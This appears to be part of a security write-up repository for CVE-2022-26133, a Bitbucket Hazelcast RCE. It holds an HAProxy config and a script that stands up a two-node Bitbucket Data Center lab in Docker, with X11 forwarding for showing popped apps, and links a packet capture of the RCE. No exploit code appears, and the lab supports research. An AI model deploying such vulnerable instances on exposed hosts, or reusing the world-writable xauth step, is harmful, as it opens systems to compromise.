/CVE-2022-26133/scripts/haproxy/haproxy.cfg: -------------------------------------------------------------------------------- 1 | defaults 2 | # never fail on address resolution 3 | default-server init-addr last,libc,none 4 | timeout connect 10s 5 | timeout client 30s 6 | timeout server 30s 7 | log global 8 | mode http 9 | 10 | frontend http 11 | bind *:${BITBUCKET_DOCKER_PROXY_PORT} 12 | default_backend bitbucket 13 | 14 | backend bitbucket 15 | balance roundrobin 16 | cookie BITBUCKETSESSIONID prefix 17 | stick-table type string len 52 size 5M expire 30m 18 | stick store-response set-cookie(BITBUCKETSESSIONID) 19 | stick on cookie(BITBUCKETSESSIONID) 20 | 21 | server bitbucket-node-1 ${BITBUCKET_DOCKER_NODE1_HOSTNAME}:7990 check inter 10000 rise 2 fall 5 22 | server bitbucket-node-2 ${BITBUCKET_DOCKER_NODE2_HOSTNAME}:7990 check inter 10000 rise 2 fall 5 23 | 24 | -------------------------------------------------------------------------------- /CVE-2022-26133/scripts/setup-bitbucket-docker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo_color() { 4 | case $1 in 5 | "red") 6 | echo -e "$(tput setaf 1)$(tput bold)$2$(tput sgr0)" 7 | ;; 8 | *) 9 | echo -e "$(tput setaf 4)$(tput bold)$1$(tput sgr0)" 10 | ;; 11 | esac 12 | } 13 | 14 | get_args() { 15 | while [[ $# -gt 0 ]] 16 | do 17 | key="$1" 18 | case $key in 19 | --project-name|-p) 20 | BITBUCKET_DOCKER_PROJECT_NAME="$2" 21 | shift # past argument 22 | shift # past value 23 | ;; 24 | --bitbucket-version) 25 | BITBUCKET_DOCKER_VERSION="$2" 26 | shift 27 | shift 28 | ;; 29 | --bitbucket-docker-base-port) 30 | BITBUCKET_DOCKER_BASE_PORT="$2" 31 | shift 32 | shift 33 | ;; 34 | --bitbucket-setup-base-node) 35 | BITBUCKET_INIT="yes" 36 | shift 37 | ;; 38 | --help|-h) 39 | print_usage 40 | exit 0 41 | ;; 42 | *) # unknown option 43 | shift # past argument 44 | ;; 45 | esac 46 | done 47 | } 48 | 49 | is_remote_instance() { 50 | 51 | [ -n "$SSH_CLIENT" ] && return 52 | 53 | false 54 | } 55 | 56 | setup_x11_forwarding_for_remote_docker() { 57 | 58 | # the below commands enables X11 forwarding from inside the docker container 59 | # when running from remote VMs over SSH session (e.g GCP compute instances) 60 | # this is mainly helpful if we want to popup apps like xcalc 61 | 62 | XAUTH="/tmp/.docker.xauth" 63 | 64 | [ -f $XAUTH ] && return 65 | 66 | xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | sudo xauth -f $XAUTH nmerge - 67 | 68 | sudo chmod 777 $XAUTH 69 | 70 | DISPLAY=`echo $DISPLAY | sed 's/^[^:]*\(.*\)/172.17.0.1\1/'` 71 | 72 | export DISPLAY 73 | } 74 | 75 | create_shared_directory() { 76 | 77 | echo_color "[+] Shared Directory on host:\t ${BITBUCKET_DOCKER_HOST_SHARED_DIR}" 78 | 79 | if [ -d "$BITBUCKET_DOCKER_HOST_SHARED_DIR" ]; then 80 | echo_color red "[+] Shared directory already exists on host; skipping dir creation" 81 | return 82 | fi 83 | 84 | echo_color "[+] Creating shared directory on host" 85 | sudo mkdir -p "${BITBUCKET_DOCKER_HOST_SHARED_DIR}" 86 | sudo chown 2003:2003 "${BITBUCKET_DOCKER_HOST_SHARED_DIR}" 87 | } 88 | 89 | print_usage() 90 | { 91 | cat <<-EOF 92 | 93 | Run Bitbucket Data Center cluster inside docker 94 | 95 | Usage: 96 | setup-bitbucket-docker.sh [-p ] [--bitbucket-docker-base-port ] [--bitbucket-version ] [--bitbucket-setup-base-node] [ARGS...] 97 | setup-bitbucket-docker.sh -h|--help 98 | 99 | This script will setup a Bitbucket Data Center cluster inside docker containers. 100 | Default option is to run the latest version of Bitbucket Data Center with 2 nodes (load balanced using Haproxy) and a Postgresql DB 101 | 102 | -p, --project-name Project name for the docker-compose command; also used as part of the shared dir path 103 | This is primarily used for running multiple versions of Bitbucket Data Center on the same host 104 | --bitbucket-docker-base-port Port number to be used as a base port for the various Bitbucket interfaces; defaults to 4000 105 | See parse_env_file function to understand the various ports used. 106 | --bitbucket-version Bitbucket Data Center version to be used, defaults to the latest Bitbucket Data Center release version. 107 | --bitbucket-setup-base-node This is used only during the install time to setup the first node. Once this node is fully setup 108 | the remaining nodes can be spun up. 109 | -h, --help Prints this text 110 | EOF 111 | } 112 | 113 | parse_env_file() 114 | { 115 | [[ -z "$BITBUCKET_DOCKER_VERSION" ]] && BITBUCKET_DOCKER_VERSION="latest" 116 | 117 | [[ -z "$BITBUCKET_DOCKER_PROJECT_NAME" ]] && BITBUCKET_DOCKER_PROJECT_NAME="bitbucket-default-project" 118 | 119 | [[ -z "$BITBUCKET_DOCKER_BASE_PORT" ]] && BITBUCKET_DOCKER_BASE_PORT=4000 120 | 121 | # include the project name as part of the config params, so that we can support multiple Bitbucket versions on a single host 122 | BITBUCKET_DOCKER_HOST_SHARED_DIR=~/workspace/bitbucket/${BITBUCKET_DOCKER_PROJECT_NAME}/shared 123 | BITBUCKET_DOCKER_NODE1_HOSTNAME="${BITBUCKET_DOCKER_PROJECT_NAME}-node1" 124 | BITBUCKET_DOCKER_NODE2_HOSTNAME="${BITBUCKET_DOCKER_PROJECT_NAME}-node2" 125 | BITBUCKET_DOCKER_HAZELCAST_GROUP_NAME="${BITBUCKET_DOCKER_PROJECT_NAME}-cluster" 126 | 127 | BITBUCKET_DOCKER_NODE1_HTTP_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 10)) 128 | BITBUCKET_DOCKER_NODE2_HTTP_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 20)) 129 | 130 | BITBUCKET_DOCKER_NODE1_DEBUG_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 30)) 131 | BITBUCKET_DOCKER_NODE2_DEBUG_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 40)) 132 | 133 | BITBUCKET_DOCKER_NODE1_HAZELCAST_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 50)) 134 | BITBUCKET_DOCKER_NODE2_HAZELCAST_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 60)) 135 | 136 | BITBUCKET_DOCKER_HOST_DB_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 70)) 137 | BITBUCKET_DOCKER_PROXY_PORT=$((BITBUCKET_DOCKER_BASE_PORT + 80)) 138 | 139 | # configure environment specific for remote hosts (e.g GCP compute instances) 140 | if is_remote_instance; then 141 | # custom X11 forwarding file; we will create this inside the function setup_x11_forwarding_for_remote_docker 142 | BITBUCKET_DOCKER_XAUTH_FILE="/tmp/.docker.xauth" 143 | # get the Public ip so that we can correctly configure the load balancer as well as Bitbucket's proxy variables 144 | BITBUCKET_DOCKER_PROXY_IP_ADDR=$(curl -s ifconfig.co) 145 | else 146 | BITBUCKET_DOCKER_PROXY_IP_ADDR="127.0.0.1" 147 | BITBUCKET_DOCKER_XAUTH_FILE="/tmp/.X11-unix" 148 | fi 149 | 150 | # create a random pass for the DB during the initial run and 151 | # store it locally on the host for subsequent runs 152 | if [[ -f "./${BITBUCKET_DOCKER_PROJECT_NAME}_db_creds" ]]; then 153 | BITBUCKET_DOCKER_DB_PASS="$(cat ./${BITBUCKET_DOCKER_PROJECT_NAME}_db_creds)" 154 | else 155 | BITBUCKET_DOCKER_DB_PASS="$(od -A n -t d -N 4 /dev/urandom | tr -d '[:space:]')" 156 | echo "$BITBUCKET_DOCKER_DB_PASS" > "./${BITBUCKET_DOCKER_PROJECT_NAME}_db_creds" 157 | fi 158 | 159 | BITBUCKET_DOCKER_HAPROXY_CONFIG="./haproxy/${BITBUCKET_DOCKER_PROJECT_NAME}_haproxy.cfg" 160 | 161 | 162 | export BITBUCKET_DOCKER_HOST_SHARED_DIR 163 | 164 | export BITBUCKET_DOCKER_XAUTH_FILE 165 | 166 | export BITBUCKET_DOCKER_VERSION 167 | 168 | export BITBUCKET_DOCKER_NODE1_HOSTNAME 169 | export BITBUCKET_DOCKER_NODE2_HOSTNAME 170 | 171 | export BITBUCKET_DOCKER_NODE1_HTTP_PORT 172 | export BITBUCKET_DOCKER_NODE2_HTTP_PORT 173 | 174 | export BITBUCKET_DOCKER_NODE1_DEBUG_PORT 175 | export BITBUCKET_DOCKER_NODE2_DEBUG_PORT 176 | 177 | export BITBUCKET_DOCKER_NODE1_HAZELCAST_PORT 178 | export BITBUCKET_DOCKER_NODE2_HAZELCAST_PORT 179 | 180 | export BITBUCKET_DOCKER_PROXY_IP_ADDR 181 | export BITBUCKET_DOCKER_PROXY_PORT 182 | 183 | export BITBUCKET_DOCKER_HOST_DB_PORT 184 | 185 | export BITBUCKET_DOCKER_DB_PASS 186 | 187 | export BITBUCKET_DOCKER_HAPROXY_CONFIG 188 | 189 | export BITBUCKET_DOCKER_HAZELCAST_GROUP_NAME 190 | 191 | envsubst < .env > ".${BITBUCKET_DOCKER_PROJECT_NAME}_env" 192 | envsubst < haproxy/haproxy.cfg > "$BITBUCKET_DOCKER_HAPROXY_CONFIG" 193 | } 194 | 195 | main() { 196 | 197 | get_args "$@" 198 | 199 | echo_color "[+] Starting Bitbucket Data Center Docker Installation ..." 200 | 201 | # Install docker if not already installed 202 | if ! command -v docker-compose &> /dev/null; then 203 | echo_color "red" "[+] Please install docker-compose and restart the script. " 204 | exit 205 | # ~/workspace/tools/infra-config/setup-docker.sh 206 | fi 207 | 208 | parse_env_file 209 | 210 | echo_color "[+] Bitbucket Version:\t\t $BITBUCKET_DOCKER_VERSION" 211 | 212 | echo_color "[+] Bitbucket Base Port:\t $BITBUCKET_DOCKER_BASE_PORT" 213 | 214 | echo_color "[+] Project Name:\t\t $BITBUCKET_DOCKER_PROJECT_NAME" 215 | args="--project-name $BITBUCKET_DOCKER_PROJECT_NAME" 216 | 217 | # During install we typically set a single node, and fully configure it by 218 | # following the on-screen instructions in the Bitbucket web GUI. 219 | # only once this node is configured, the load balancer and the remaining nodes 220 | # are started. 221 | if [[ -n $BITBUCKET_INIT ]]; then 222 | echo_color "[+] Bitbucket Setup Stage:\t Init (bitbucket_node_1)" 223 | service_name=bitbucket_node_1 224 | fi 225 | 226 | create_shared_directory 227 | 228 | if is_remote_instance; then 229 | echo_color "[+] Setting up X11 forwarding for remote docker containers ..." 230 | setup_x11_forwarding_for_remote_docker 231 | fi 232 | 233 | args="$args --env-file .${BITBUCKET_DOCKER_PROJECT_NAME}_env" 234 | 235 | # To debug the docker-compose uncomment the below and comment out the line following it. 236 | # cmd="docker-compose $args config" 237 | cmd="docker-compose $args up $service_name" 238 | echo_color "\n[+] Running Command:\t $cmd\n" 239 | 240 | eval "$cmd" 241 | } 242 | 243 | main "$@" 244 | 245 | -------------------------------------------------------------------------------- /CVE-2022-26133/wireshark/bitbucket-hazelcast-rce-wireshark.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snowyyowl/writeups/efe6063eba7454aebe044b51339123376d8be3dc/CVE-2022-26133/wireshark/bitbucket-hazelcast-rce-wireshark.pcapng --------------------------------------------------------------------------------